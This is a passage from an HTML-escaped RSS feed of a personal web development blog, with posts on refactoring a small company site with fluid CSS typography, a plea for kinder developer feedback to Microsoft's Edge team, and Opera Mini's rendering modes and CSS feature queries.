&amp;lt;link rel=&amp;quot;icon&amp;quot; type=&amp;quot;image/png&amp;quot; href=&amp;quot;/favicons/favicon-16x16.png&amp;quot; sizes=&amp;quot;16x16&amp;quot; /&amp;gt;
&amp;lt;link rel=&amp;quot;manifest&amp;quot; href=&amp;quot;/favicons/manifest.json&amp;quot; /&amp;gt;
&amp;lt;link rel=&amp;quot;mask-icon&amp;quot; href=&amp;quot;/favicons/safari-pinned-tab.svg&amp;quot; color=&amp;quot;#28c3ab&amp;quot; /&amp;gt;
&amp;lt;link rel=&amp;quot;shortcut icon&amp;quot; href=&amp;quot;/favicons/favicon.ico&amp;quot; /&amp;gt;
&amp;lt;meta name=&amp;quot;msapplication-config&amp;quot; content=&amp;quot;/favicons/browserconfig.xml&amp;quot; /&amp;gt;
&amp;lt;meta name=&amp;quot;theme-color&amp;quot; content=&amp;quot;#ffffff&amp;quot; /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And finally, the single CSS file that would contain all the necessary styles for styling this site.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;link href=&amp;quot;/css/styles.min.css&amp;quot; rel=&amp;quot;stylesheet&amp;quot; /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Everything in the &lt;code&gt;Static&lt;/code&gt; folder was purged so we could move on with a nice clean slate.&lt;/p&gt;
&lt;h2&gt;Phase 3: Just a bit of art direction&lt;/h2&gt;
&lt;p&gt;The point wasn&apos;t so much a redesign of the site but more of a refactor and cleanup. So I wasn&apos;t planning on going full scale change-all-the-things mode. We were definitely going to stick to the original colour palette which was white on black and #28c3ab (or light sea green, if you like colour names) for the accents.&lt;/p&gt;
&lt;p&gt;According to Wikipedia, an epiphyte is a plant that grows harmlessly upon another plant (such as a tree) and derives its moisture and nutrients from the air, rain, and sometimes from debris accumulating around it. With that idea, I tried to find imagery that could show that sort of botanical characteristics but in the end settled on this &lt;a href=&quot;https://stocksnap.io/photo/NFJX7AX76F&quot;&gt;image from StockSnap.io&lt;/a&gt;, and just made it really subtle.&lt;/p&gt;
&lt;div class=&quot;figure-wrapper&quot;&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;Original stock photo&lt;/figcaption&gt;
    &lt;img src=&quot;/images/posts/epyphite/stock.jpg&quot; srcset=&quot;/images/posts/epyphite/stock@2x.jpg 2x&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;Magic of Photoshop&lt;/figcaption&gt;
    &lt;img src=&quot;/images/posts/epyphite/manip.jpg&quot; srcset=&quot;/images/posts/epyphite/manip@2x.jpg 2x&quot; /&gt;
  &lt;/figure&gt;
&lt;/div&gt;
&lt;p&gt;Another site I like for getting asset files is &lt;a href=&quot;https://www.toptal.com/designers/subtlepatterns/&quot;&gt;Subtle Patterns&lt;/a&gt;, which appears to have been acquired by &lt;a href=&quot;https://www.toptal.com/&quot;&gt;Toptal&lt;/a&gt;? Hmmm...keep getting &apos;em cheques I suppose. Anyhoo, I picked up 2 subtle patterns to give the sections some differentiation (though 1 of them is barely noticeable).&lt;/p&gt;
&lt;p&gt;I also took the opportunity to proof-read and rewrite some of the copy of site&apos;s content. English wasn&apos;t their first language, so some of the messaging wasn&apos;t entirely clear.&lt;/p&gt;
&lt;p&gt;As for fonts, given they&apos;re a technology firm and the boys generally wanted a clean, minimalist aesthetic, I picked a sans-serif for the headings. But what type of sans-serif? Muli is a geometric sans-serif that is quite minimal, and fits in with the modern, technical nature of the business. Because it would be used for large sized headings, I went with the light weight.&lt;/p&gt;
&lt;p&gt;Muli was paired with the serif font, &lt;a href=&quot;http://www.cyreal.org/2012/07/lora/&quot;&gt;Lora&lt;/a&gt;. Lora was designed by &lt;a href=&quot;https://www.behance.net/OlgaKarpushina&quot;&gt;Olga Karpushina&lt;/a&gt; and published with &lt;a href=&quot;http://www.cyreal.org/&quot;&gt;Cyreal Fonts&lt;/a&gt;. It has some calligraphic qualities to it, and if you examine the serifs a bit closer, you&apos;ll see it has a bit of quirkiness to it. One of value propositions for Epyphite is Customer Care and using a friendlier font for the body text seemed apt.&lt;/p&gt;
&lt;p&gt;The original layout was, how shall we put this, rather repetitive. Each piece of content had a heading that was light sea green and a border around it, not unlike a button, followed by white text. There was also some inconsistencies in typographic hierarchy which could be cleaned up.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;I spy a pattern all the way down&lt;/figcaption&gt;
  &lt;img src=&quot;/images/posts/epyphite/pattern.png&quot; srcset=&quot;/images/posts/epyphite/pattern@2x.png 2x&quot; /&gt;
&lt;/figure&gt;
&lt;p&gt;The markup for the site was rewritten to minimise nesting and have a proper structural hierarchy. You can see the outline from the &lt;a href=&quot;https://validator.w3.org/nu/?showoutline=yes&amp;amp;doc=https%3A%2F%2Fwww.epyphite.com%2F&quot;&gt;Nu HTML Checker&lt;/a&gt;, which I find kinda nifty. Following that, the entire layout and design would be fully handled by CSS.&lt;/p&gt;
&lt;h2&gt;Phase 4: CSS party-time &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;party popper&quot;&gt;🎉&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;I don&apos;t know about you, but for me, writing CSS is a hoot. I have a standard starter SCSS kit that has been modified a couple of times over the years, and I may tweak the file structure again moving forward, but for this site, I just wrote everything in vanilla CSS.&lt;/p&gt;
&lt;p&gt;The concept of flexible typography has always made a lot of sense to me. The browser is a canvas that is dynamic, we can change it&apos;s dimensions as we please. So ideally, the content within that canvas should somehow be able to adapt to whatever screen size it&apos;s being displayed on.&lt;/p&gt;
&lt;p&gt;A common approach using media queries to change the font size as you hit certain viewport sizes. But there&apos;s also the idea of fluid typography, where the size of the font resizes smoothly to match device width. Which really became a thing when viewport units got widespread support.&lt;/p&gt;
&lt;p&gt;There have been a number of articles that show how fluid typography can be achieved with CSS.&lt;/p&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://nicewebtype.com/notes/2012/02/03/molten-leading-or-fluid-line-height/&quot;&gt;Molten leading (or, fluid line-height)&lt;/a&gt; by &lt;a href=&quot;http://nicewebtype.com/&quot;&gt;Tim Brown&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://eduardoboucas.com/blog/2015/06/18/viewport-sized-typography-with-minimum-and-maximum-sizes.html&quot;&gt;Viewport sized typography with minimum and maximum sizes&lt;/a&gt; by &lt;a href=&quot;https://eduardoboucas.com/&quot;&gt;Eduardo Boucas&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://madebymike.com.au/writing/precise-control-responsive-typography/&quot;&gt;Precise control over responsive typography&lt;/a&gt; by &lt;a href=&quot;https://madebymike.com.au/&quot;&gt;Mike Riethmuller&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.typekit.com/2016/08/17/flexible-typography-with-css-locks/&quot;&gt;Flexible typography with CSS locks&lt;/a&gt; by &lt;a href=&quot;http://tbrown.org/&quot;&gt;Tim Brown&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I made use of Mike&apos;s approach of CSS locks so this is the responsive font sizing setup:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;:root {
  font-size: 18px;
}

@media (min-width: 320px) and (max-width: 960px) {
  :root {
    font-size: calc(18px + (22 - 18) * ((100vw - 320px) / (960 - 320)));
  }
}

@media (min-width: 960px) {
  :root {
    font-size: 22px;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Since we have flexbox in our toolbox, I wanted to do a layout that was quite the fan-favourite amongst designers I worked with in Agencyland, and that was the alternating 2 column text-on-left, text-on-right pattern.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;A diagram is probably easier to understand&lt;/figcaption&gt;
  &lt;img src=&quot;/images/posts/epyphite/diagram.svg&quot; style=&quot;max-height:17em&quot; /&gt;
&lt;/figure&gt;
&lt;p&gt;It used to be a pain to this using a plethora of floats. Changing the markup structure wasn&apos;t a great idea either, the sections wouldn&apos;t stack nicely on a narrow screen. But now, we have flexbox, and life is different. With the &lt;code&gt;order&lt;/code&gt; property, I could do get that pattern on a wide screen without messing up the source order.&lt;/p&gt;
&lt;div class=&quot;figure-wrapper&quot;&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;Wide screen&lt;/figcaption&gt;
    &lt;img
      src=&quot;/images/posts/epyphite/products-wide.png&quot;
      srcset=&quot;/images/posts/epyphite/products-wide@2x.png 2x&quot;
    /&gt;
  &lt;/figure&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;Narrow screen&lt;/figcaption&gt;
    &lt;img
      src=&quot;/images/posts/epyphite/products-narrow.png&quot;
      srcset=&quot;/images/posts/epyphite/products-narrow@2x.png 2x&quot;
    /&gt;
  &lt;/figure&gt;
&lt;/div&gt;
&lt;p&gt;Another thing was the navigation links. The original navigation collapsed into a hamburger icon, which was thrown out with the rest of the files when I wiped the project clean &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;smirking face&quot;&gt;😏&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;I was a bit tired of the collapsing navigation design pattern and we &lt;a href=&quot;https://lmjabreu.com/post/why-and-how-to-avoid-hamburger-menus/&quot;&gt;now have data&lt;/a&gt; that shows that this isn&apos;t a great idea to begin with. Given there were only 6 items in the navigation menu, I chose to have the links displayed vertically along the right side of the screen instead, using one of my favourite CSS properties, &lt;code&gt;writing-mode&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;This was a best effort given the limited amount of time I had to work on it, and my friend was pretty pleased with the end result. So it was a pretty good use of an afternoon, if you ask me &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;wine glass&quot;&gt;🍷&lt;/span&gt;.&lt;/p&gt;
</content:encoded></item><item><title>Be kinder to each other</title><link>https://chenhuijing.com/blog/a-little-more-kindness/</link><guid isPermaLink="true">https://chenhuijing.com/blog/a-little-more-kindness/</guid><description>The month of March has seen a mini-burst of hype around CSS grid, with Mozilla kicking things off by releasing Firefox 52, closely followed by Google with…</description><pubDate>Fri, 24 Mar 2017 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The month of March has seen a mini-burst of hype around CSS grid, with Mozilla kicking things off by releasing Firefox 52, closely followed by Google with Chrome 57. Even Safari has gotten in on the grid game, which is scheduled to ship in the upcoming 10.1. Microsoft has the &lt;em&gt;Update CSS Grid&lt;/em&gt; task marked as &lt;em&gt;On the backlog&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Microsoft has a platform for garnering feedback from developers called &lt;a href=&quot;https://web.archive.org/web/20190331214200/https://wpdev.uservoice.com/&quot;&gt;Windows Developer Feedback&lt;/a&gt;. It is a place for developers to add new ideas for features they want to see in Edge, and let&apos;s other developers vote on these ideas. It&apos;s also a way for the Edge engineers to inform developers which features have made it to public release.&lt;/p&gt;
&lt;p&gt;A short while back I came across this tweet by &lt;a href=&quot;https://twitter.com/patrickkettner&quot;&gt;Patrick Kettner&lt;/a&gt;, who is part of the team working on Edge at Microsoft.&lt;/p&gt;
&lt;blockquote class=&quot;twitter-tweet&quot; data-lang=&quot;en&quot;&gt;&lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;&lt;a href=&quot;https://twitter.com/marcosc&quot;&gt;@marcosc&lt;/a&gt; &lt;a href=&quot;https://twitter.com/jsscclr&quot;&gt;@jsscclr&lt;/a&gt; tons of thoughts, and not enough time to tweetstorm, so... &lt;a href=&quot;https://t.co/KO4zAgk0Ot&quot;&gt;pic.twitter.com/KO4zAgk0Ot&lt;/a&gt;&lt;/p&gt;&amp;mdash; Patrick Kettner (@patrickkettner) &lt;a href=&quot;https://twitter.com/patrickkettner/status/843264670429409281&quot;&gt;March 19, 2017&lt;/a&gt;&lt;/blockquote&gt;
&lt;p&gt;&lt;a href=&quot;http://jensimmons.com/&quot;&gt;Jen Simmons&lt;/a&gt;, who has been one of the most passionate people I know when it comes to the web, wrote a really nice piece of feedback on the &lt;em&gt;Update CSS grid&lt;/em&gt; thread. Here it is in totality:&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Thank you Microsoft for making CSS Grid happen. For working on the spec. For shipping the early implementation back when IE10 was new.&lt;/p&gt;
  &lt;p&gt;Firefox shipped Grid last week. Chrome shipped it today. And Safari will ship it very soon. It honestly makes me sad that Microsoft missed the boat, and isn&apos;t shipping right now as well. From the looks of things, other priorities have pushed out updating your implementation of Grid. I hope you can change that very soon, and get Grid out the door.&lt;/p&gt;
  &lt;p&gt;You worked so hard in 2010-2015 to improve the reputation of your browser. You even renamed it! And now, the biggest feature to ship in CSS in recent memory, and your browser is once again behind. I don&apos;t want people to curse you anymore! I want your amazing team to be proud of the great work they&apos;ve done. And get credit! I want you to ship Grid, too. Soon. Well, as soon as you can.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I then scrolled through the rest of the comments on that thread, and found that overall, the tone of the comments are not as pleasant. I don&apos;t even know who these comments are being directed to exactly, and I suspect some of these commenters themselves don&apos;t know but just want to blow off steam.&lt;/p&gt;
&lt;p&gt;I understand that those of us who build for the web get frustrated as cross-browser support and dealing with bugs or features that aren&apos;t implemented consistently. Oh, trust me, I really understand. But I don&apos;t think that frustration is a good enough reason to lash out.&lt;/p&gt;
&lt;p&gt;The web has been really good to me. I&apos;ve gained a tonne of knowledge, learned about places far away, peeked into the lives of people halfway around the world. I&apos;ve made friends across the globe, managed to keep in contact with those who have moved far away, shared stories, photos and videos with them. Hey, I&apos;m even being paid to work on the web.&lt;/p&gt;
&lt;p&gt;But I&apos;ve also seen the ugly side of the web. There&apos;s something about anonymity that brings out the worst in people. The level of vitriol and spite found in the comments section of most sites is mind-blowing. Although I&apos;m aware that some people are capable of such behaviour even in real life, I think most people would never say such things to another person&apos;s face.&lt;/p&gt;
&lt;p&gt;Several of my friends have had terrible things said about them online, in response to valuable content they created and shared for free. Granted this negative feedback is not the bulk of what they receive, but I think most of us can relate to how in spite of having 9 nice things said about you, that 1 nasty piece of feedback can gnaw at you for the rest of the day.&lt;/p&gt;
&lt;p&gt;The world is not a perfect place. Life is not fair. But the matter of fact is, we live in this world together. All 7 billion (and more) of us share this planet. Nobody asked to be born, but we&apos;re all here now. We all have a choice on how we want to behave, and these choices will have an impact on someone else, whether we are aware of it or not.&lt;/p&gt;
&lt;p&gt;Microsoft is a big corporation and I&apos;m sure everyone has their own perception and opinion of them. But within Microsoft, every employee is an individual human being, just like you, with thoughts and feelings. Furthermore, in a large corporation such as Microsoft, there will definitely be many internal dynamics and decisions outsiders like us are not privy to. Many engineers themselves probably won&apos;t have the full picture.&lt;/p&gt;
&lt;p&gt;I can&apos;t speak for the Edge team because I don&apos;t personally know any of them. But what I do know is that they too are developers like you and I. They too are somebody&apos;s son or daughter, friend or lover, and they definitely have feelings. Before we project our own frustrations onto others, we have to understand that we are seeing things from our perspective but not theirs.&lt;/p&gt;
&lt;p&gt;Yes, it is important to provide feedback, but we can choose how we want to word that feedback. At the very least, be respectful and be kind. Imagine how you would feel if that nasty comment was directed to yourself. Then also think about how you would feel if somebody said something nice to you. These little things matter more than you think.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;small&gt;Credits: OG:image by &lt;a href=&quot;http://chibird.com/post/115989272724/i-try-to-live-by-this-as-much-as-possible-u-i&quot;&gt;Chibird&lt;/a&gt;&lt;/small&gt;&lt;/em&gt;&lt;/p&gt;
</content:encoded></item><item><title>We need to talk about Opera Mini</title><link>https://chenhuijing.com/blog/we-need-to-talk-about-opera-mini/</link><guid isPermaLink="true">https://chenhuijing.com/blog/we-need-to-talk-about-opera-mini/</guid><description>Earlier this year, Jen Simmons asked the following question: &lt;blockquote class=&quot;twitter-tweet&quot; data-lang=&quot;en&quot;&gt; &lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt; From your memory, which…</description><pubDate>Sat, 11 Mar 2017 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Earlier this year, &lt;a href=&quot;http://jensimmons.com/&quot;&gt;Jen Simmons&lt;/a&gt; asked the following question:&lt;/p&gt;
&lt;blockquote class=&quot;twitter-tweet&quot; data-lang=&quot;en&quot;&gt;
  &lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;
    From your memory, which browser has now twice the user base of Internet Explorer (globally)?
    (Don’t cheat — what’s your impression?)
  &lt;/p&gt;
  &amp;mdash; Jen Simmons (@jensimmons) &lt;a href=&quot;https://twitter.com/jensimmons/status/824023709925212160&quot;&gt;January 24, 2017&lt;/a&gt;
&lt;/blockquote&gt;
&lt;p&gt;I managed to get the right answer (UC Browser) by virtue of elimination, not because I actually knew the statistics &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;face with stuck-out tongue &amp; closed eyes&quot;&gt;😆&lt;/span&gt;. But what I do know, is that one of the options I have on my phone was not on that list. Yes, this is my semi-fail segue into talking about Opera Mini. Writing is hard &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person shrugging&quot;&gt;🤷&lt;/span&gt;.&lt;/p&gt;
&lt;h2&gt;Who uses Opera Mini?&lt;/h2&gt;
&lt;p&gt;Guess what? I do. I&apos;m reasonably confident that I am possibly the only person in Singapore using a &lt;a href=&quot;http://www.gsmarena.com/blu_win_hd_lte-7205.php&quot;&gt;BLU Win HD LTE&lt;/a&gt;. It currently runs on Windows 10 Mobile, and I like it. Microsoft Edge uses EdgeHTML as its layout engine and Chakra as its JavaScript engine. Both desktop and mobile versions use the same engine, which is more than I can say for iOS browsers &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;fire (burn)&quot;&gt;🔥&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;Anyway, back to Opera Mini. The browser usage share for February 2017, according to StatCounter is &lt;strong&gt;3.3%&lt;/strong&gt;. That&apos;s actually more than Edge 14 (1.49%) and Safari 10 (1.54%) combined. Regionally, the lion&apos;s share of users for Opera Mini are from Africa, followed by Asia.&lt;/p&gt;
&lt;p&gt;Africa is a significant market for Opera and they have focused on developing features that address key challenges for people in that region: high data costs, limited network capacity, growing page weights and background data consumption. These challenges apply to lower-income countries in other regions as well.&lt;/p&gt;
&lt;h2&gt;Different modes on Opera Mini&lt;/h2&gt;
&lt;p&gt;Opera Mini has different modes, which affect data consumption and also rendering. Each of the operating systems uses a version of Opera Mini with a different set of modes. Check out the full table at &lt;a href=&quot;https://dev.opera.com/articles/browsers-modes-engines/&quot;&gt;Opera Browsers, Modes &amp;amp; Engines&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;There are 4 Operating Systems that can run Opera Mini: Android, iOS, J2ME and Windows Phone, and 3 different rendering engines depending on which mode is chosen.&lt;/p&gt;
&lt;div class=&quot;figure-wrapper&quot;&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;iOS&lt;/figcaption&gt;
    &lt;img src=&quot;/images/posts/opera-mini/ios.png&quot; srcset=&quot;/images/posts/opera-mini/ios@2x.png 2x&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;Android&lt;/figcaption&gt;
    &lt;img
      src=&quot;/images/posts/opera-mini/android.png&quot;
      srcset=&quot;/images/posts/opera-mini/android@2x.png 2x&quot;
    /&gt;
  &lt;/figure&gt;
&lt;/div&gt;
&lt;div class=&quot;figure-wrapper&quot;&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;J2ME&lt;/figcaption&gt;
    &lt;img src=&quot;/images/posts/opera-mini/j2me.png&quot; srcset=&quot;/images/posts/opera-mini/j2me@2x.png 2x&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;Windows 10&lt;/figcaption&gt;
    &lt;img
      src=&quot;/images/posts/opera-mini/win10.png&quot;
      srcset=&quot;/images/posts/opera-mini/win10@2x.png 2x&quot;
    /&gt;
  &lt;/figure&gt;
&lt;/div&gt;
&lt;p&gt;Opera Mini also has a built in QR code reader, which I find pretty useful because typing URLs is a pain. I honestly don&apos;t know why so many people think QR codes are useless, but if I can use a QR code to get to a site I will. With my Opera Mini QR code reader &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person gesturing ok&quot;&gt;🙆&lt;/span&gt;.&lt;/p&gt;
&lt;h3&gt;Presto, server-side&lt;/h3&gt;
&lt;p&gt;This version is what runs on J2ME and Windows Phone. It can be selected as &lt;em&gt;Opera Mini&lt;/em&gt; mode on iOS and &lt;em&gt;Extreme&lt;/em&gt; mode on Android. The most significant feature for this mode is its server-side compression.&lt;/p&gt;
&lt;p&gt;Opera Mini can act as a proxy browser, meaning the requests from the browser will go through Opera&apos;s transcoding servers before being forwarded to the website&apos;s server. When the server returns its response, it too passes through Opera&apos;s servers, it gets transcoded into Opera Binary Markup Language (OBML) which then gets progressively loaded on the user&apos;s device.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Opera Mini architecture diagram&lt;/figcaption&gt;
  &lt;img src=&quot;/images/posts/opera-mini/architecture.svg&quot; /&gt;
&lt;/figure&gt;
&lt;p&gt;The transcoding process involves parsing of HTML and CSS, as well as execution of JavaScript. What is received by Opera Mini at the end of it is an “interactive snapshot of the document&apos;s state”. The data savings from this can be up to 90% over the network, but the downsides are standards support is limited, hence quite a few CSS properties are not supported and JavaScript may not behave in ways you expect.&lt;/p&gt;
&lt;p&gt;Some people might be concerned with is security, given that all data will pass through Opera&apos;s servers. Opera ensures that the traffic between your handset and their servers is encrypted when browsing secure webpages, but they would require access to the unencrypted version of the webpage to implement compression.&lt;/p&gt;
&lt;h3&gt;Android WebView&lt;/h3&gt;
&lt;p&gt;Opera Mini on Android phones also have a &lt;em&gt;High&lt;/em&gt; mode option, which runs on &lt;a href=&quot;https://developer.chrome.com/multidevice/webview/overview&quot;&gt;Android WebView&lt;/a&gt;. WebView is based on Chromium and uses the V8 JavaScript engine. By default, if you are connected to Wi-Fi and using this mode, data savings are disabled unless you explicitly turn it on in the Settings.&lt;/p&gt;
&lt;p&gt;There is also something called Video Boost, which is an option you can toggle from the Data Savings settings as well. Activating it will trigger video compression to reduce the size of the video file during the transcoding process.&lt;/p&gt;
&lt;h3&gt;WebKit, system&lt;/h3&gt;
&lt;p&gt;Opera Mini on iOS phones have 2 additional modes, &lt;em&gt;Normal&lt;/em&gt; and &lt;em&gt;Turbo&lt;/em&gt;. Both these modes run on WebKit, as is expected for all browsers on iOS. The difference between them is that &lt;em&gt;Turbo&lt;/em&gt; is a proxy browser, which works similarly to &lt;em&gt;Mini&lt;/em&gt; mode except that the compression is much less aggressive, allowing websites to generally render as expected.&lt;/p&gt;
&lt;h2&gt;Developing with Opera Mini in mind&lt;/h2&gt;
&lt;p&gt;This is a recap of my own experience and some thought processes that led to certain decisions. Point is, it&apos;s necessary to understand that there will be people who browse your site using Opera Mini mode. It could be 1 person, it could be 100, it could be 100,000. I&apos;ve often heard the argument that people using Opera Mini are not the target audience so it doesn&apos;t matter.&lt;/p&gt;
&lt;p&gt;It does matter. I&apos;m not saying spend months trying to build an Opera Mini specific implementation, nor am I advocating for limiting features simply because Opera Mini doesn&apos;t support them. I want everyone to go ahead and explore and learn the latest and greatest, experiment and build wonderful experiences. But it is a must that the most basic content is accessible from any browser.&lt;/p&gt;
&lt;p&gt;When it&apos;s all said and done, if we strip away all the scripts and styles, can people understand your message? Properly structured text and optimised images. That&apos;s the crux of it. Layer on all the styles and effects and animations, go as far as you want, but make sure they are built upon a solid foundation.&lt;/p&gt;
&lt;h2&gt;@supports is your best friend&lt;/h2&gt;
&lt;p&gt;For all the things Opera Mini does not support, the one thing it does have going for it, is @supports. In fact, without &lt;code&gt;@supports&lt;/code&gt; (also known as feature queries), life would be a lot harder when it comes to layering on enhancements.&lt;/p&gt;
&lt;p&gt;Opera first implemented in Nov 2012. Both Chrome and Firefox had it since May 2013. So people have been writing about feature queries over the years, though it seems that awareness of its broad support is not well-known. In fact, a lot of early coverage was not written in English (maybe that&apos;s why, I can&apos;t say for sure).&lt;/p&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://myakura.hatenablog.com/entry/2012/08/08/012516&quot;&gt;@supports ― CSSのFeature Queries&lt;/a&gt; by Masataka Yakura, August 8 2012&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://dev.opera.com/articles/native-css-feature-detection/&quot;&gt;Native CSS Feature Detection via the @supports Rule&lt;/a&gt; by Chris Mills, December 21 2012&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://davidwalsh.name/css-supports&quot;&gt;CSS @supports&lt;/a&gt; by David Walsh, April 3 2013&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://ar.al/scribbles/responsive-typography-with-css-feature-queries/&quot;&gt;Responsive typography with CSS Feature Queries&lt;/a&gt; by Aral Balkan, April 9 2013&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://www.creativebloq.com/css3/how-use-supports-rule-your-css-11410545&quot;&gt;How to use the @supports rule in your CSS&lt;/a&gt; by Lea Verou, January 31 2014&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://fedin.co.il/css-feature-queries/&quot;&gt;CSS Feature Queries&lt;/a&gt; by Amit Tal, June 2 2014&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://web.archive.org/web/20161215063954/http://blogs.adobe.com/webplatform/2014/08/21/coming-soon-css-feature-queries/&quot;&gt;Coming Soon: CSS Feature Queries&lt;/a&gt; by Adobe Web Platform Team, August 21 2014&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.pixelfreu.de/blog/details/items/css-feature-queries-mittels-supports.html&quot;&gt;CSS feature queries mittels @supports&lt;/a&gt; by 
Daniel Erlinger, November 27 2014&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Here&apos;s how support looks like right now.&lt;/p&gt;
&lt;p
  class=&quot;ciu_embed no-margin&quot;
  data-feature=&quot;css-featurequeries&quot;
  data-periods=&quot;future_1,current,past_1,past_2&quot;
&gt;
  &lt;a href=&quot;http://caniuse.com/#feat=css-featurequeries&quot;&gt;Can I Use css-featurequeries?&lt;/a&gt; Data on
  support for the css-featurequeries feature across the major browsers from caniuse.com.
&lt;/p&gt;
&lt;h3&gt;I see you staring at IE&lt;/h3&gt;
&lt;p&gt;First of all, let me acknowledge that there is still a significant number of organisations that require support of Internet Explorer. Microsoft still continues to support IE11 for the life of Windows 7, 8 and 10. They have, however, &lt;em&gt;stopped supporting older versions&lt;/em&gt; since January 12, 2016.&lt;/p&gt;
&lt;p&gt;Before we talk about IE11&apos;s lack of support for &lt;code&gt;@supports&lt;/code&gt; (see what I did there? &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;smiling face with horns&quot;&gt;😈&lt;/span&gt;), let me introduce the concept of negativity bias. It is also known as the negativity effect.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Bad is stronger than good, as a general principle across a broad range of psychological phenomena.&lt;br&gt;
—Kathleen D. Vohs&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Yes, it will be a bit tricky when it comes to using &lt;code&gt;@supports&lt;/code&gt; for certain features that fall into that odd matrix of being supported by IE11 yet not in Opera Mini but it&apos;s kind of a weak excuse to throw the baby out with the bathwater and just disregard feature queries altogether. Going “ain&apos;t nobody got time for dat” is NOT the way to do it.&lt;/p&gt;
&lt;p&gt;Jen Simmons wrote an extensive article called &lt;a href=&quot;https://hacks.mozilla.org/2016/08/using-feature-queries-in-css/&quot;&gt;Using Feature Queries in CSS&lt;/a&gt; which discussed such tricky situations, specifically “Browsers that support do not Feature Queries, yet do support the feature in question”.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Uni-kitty &amp;copy; Jen Simmons&lt;/figcaption&gt;
  &lt;img
    src=&quot;/images/posts/opera-mini/matrix.png&quot;
    srcset=&quot;/images/posts/opera-mini/matrix@2x.png 2x&quot;
    alt=&quot;Matrix of @supports&quot;
  /&gt;
&lt;/figure&gt;
&lt;p&gt;For cases like those, it really depends on the specific CSS feature you want to use, then make a decision whether it is acceptable to not include that feature even if the browser supports it.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Of course, it depends on the particular use case. Perhaps this is a result we can live with. The older browser gets an experience planned for older browsers. The web page still works.&lt;br&gt;
—Jen Simmons&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Planning is required&lt;/h2&gt;
&lt;p&gt;I&apos;ll be honest here. I don&apos;t use CSS frameworks. I write my styles from a basic boilerplate I developed over the years, which has in turn increased my familiarity with browser support of CSS properties quite a bit, built up from years of referencing &lt;a href=&quot;http://caniuse.com/&quot;&gt;caniuse.com&lt;/a&gt; constantly throughout development.&lt;/p&gt;
